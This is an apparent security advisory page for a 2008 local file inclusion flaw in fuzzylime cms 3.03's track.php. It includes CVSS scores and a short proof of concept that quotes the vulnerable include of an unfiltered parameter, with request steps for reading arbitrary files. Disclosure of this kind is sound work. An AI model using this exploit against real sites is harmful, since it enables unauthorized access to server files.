fuzzylime cms 3.03 (track.php p) Local File Inclusion Vulnerability

2008.12.03
Credit: Alfons Luja
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

/* --+_---=+--=_____=+++++ -- FuzzyLime 3.03 Local File Iclude PoC *** (-0-) -____======_+++++---'''' ***************************************__________________ -- Vuln - code/track.php $m = $_GET[m]; $p = $_GET[p]; //1 include "settings.inc.php"; if(!isset($_POST[url]) || !isset($_POST[title]) || !isset($_POST[excerpt])) { //2 header("Location: ${rooturl}index.php?s=news&p=$p&m=$m"); } else { if(file_exists("../blogs/$p.inc.php")) { //3 include "../blogs/$p.inc.php"; //4 ... 1 $p is not filtered 2 When POST'S is set 3 and file exists 4 we have lfi ---+++++....--___________--============ */ Go to LIVE_HTTP_HEADERS in firefox or opera or whatever set url http://site/path/code/track.php?p=[file] set "SEND POST CONNTENT" url=evil&title=666&excerpt=xd and push reply //Alfons Luja 25.12.2008

References:

http://www.securityfocus.com/bid/32475
http://www.milw0rm.com/exploits/7231
http://secunia.com/advisories/32865


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top